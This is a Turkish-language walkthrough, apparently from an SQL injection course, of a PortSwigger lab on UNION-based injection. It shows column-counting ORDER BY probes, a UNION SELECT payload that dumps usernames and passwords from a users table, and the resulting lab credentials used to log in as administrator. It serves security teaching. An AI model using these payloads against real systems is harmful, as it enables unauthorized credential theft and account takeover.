> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-union-attack-retrieving-multiple-values-in-a-single-column-cozumu.md).

# SQL injection UNION attack, retrieving multiple values in a single column Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün filtresi kategorisinde SQL Injection var. UNION ile diğer tablolardan veri çekebiliyoruz. users tablosundaki username ve password sütünlarını çekip, administrator olarak giriş yap diyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/MEhm6K6WUN5C1EX6Vvyj" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/MwvyD8oLwSqjd27yQay3" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Accessories HTTP/1.1
Host: 0a6700cf04e49391818eb6f2002700fc.web-security-academy.net
Cookie: session=BakF7qeGBlOOsg4IGi09awTJMWl78h7g
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0a6700cf04e49391818eb6f2002700fc.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Accessories, buradaki Accessories yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım.

Öncesinde ORDER BY ile gelin sütün sayısını hızla bulalım.

`' ORDER BY 2--`

diyince 200 döndü, anlamamız gereken 1 tane sütündan fazla var.

`' ORDER BY 3--`

500 döndü demek ki 2 tane sütün var. Hızlıca o zaman users tablosundan, username ve password sütünlarını çekelim. Tabi önce string çeken sütünü bulalım, onda string birleştirme yapıp çekelim.

`' UNION SELECT null,'deneme'--`

200 döndü demek ki ikincisi string çekiyor, oradan hem username hem password çekebiliriz.

`' UNION SELECT null,username || ' ve ' || password FROM users--`

<figure><img src="/files/nudXeFWnPqiput6qk3Tp" alt=""><figcaption></figcaption></figure>

Gördüğünüz gibi hepsi geldi.

```bash
carlos ve cgaf6krtszpfc40jqtj
administrator ve iee1baltz5jfqegtrlpz
wiener ve nw7jsxc12ll00shnfwvj
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın

<figure><img src="/files/XQJ58saqzc8wgzhQXwZm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Mvsf7Ua1S0sk9lQpw42m" alt=""><figcaption></figcaption></figure>
